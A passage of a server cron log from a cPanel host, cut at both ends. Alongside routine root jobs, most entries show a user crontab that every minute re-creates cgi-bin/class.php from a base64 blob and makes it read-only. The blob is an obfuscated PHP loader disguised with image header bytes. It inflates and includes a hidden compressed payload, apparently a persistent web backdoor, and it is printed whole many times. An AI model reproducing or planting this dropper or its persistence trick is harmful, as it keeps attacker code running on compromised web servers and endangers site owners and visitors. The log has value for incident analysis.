uY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:23:01 server CROND[25133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:24:01 server CROND[25196]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:25:01 server CROND[25316]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:25:01 server CROND[25318]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 17:25:01 server CROND[25317]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 17:26:01 server CROND[25426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:27:01 server CROND[25482]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:27:01 server CROND[25483]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 17:28:01 server CROND[25528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:29:01 server CROND[25584]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:30:01 server CROND[25638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 17:30:01 server CROND[25639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 17:30:01 server CROND[25640]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 17:30:01 server CROND[25642]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:31:01 server CROND[25841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:32:01 server CROND[25884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:33:01 server CROND[25928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:34:01 server CROND[25971]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:35:01 server CROND[26019]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 17:35:01 server CROND[26020]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 17:35:01 server CROND[26025]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 17:35:01 server CROND[26026]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 17:35:01 server CROND[26024]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 17:36:01 server CROND[26228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 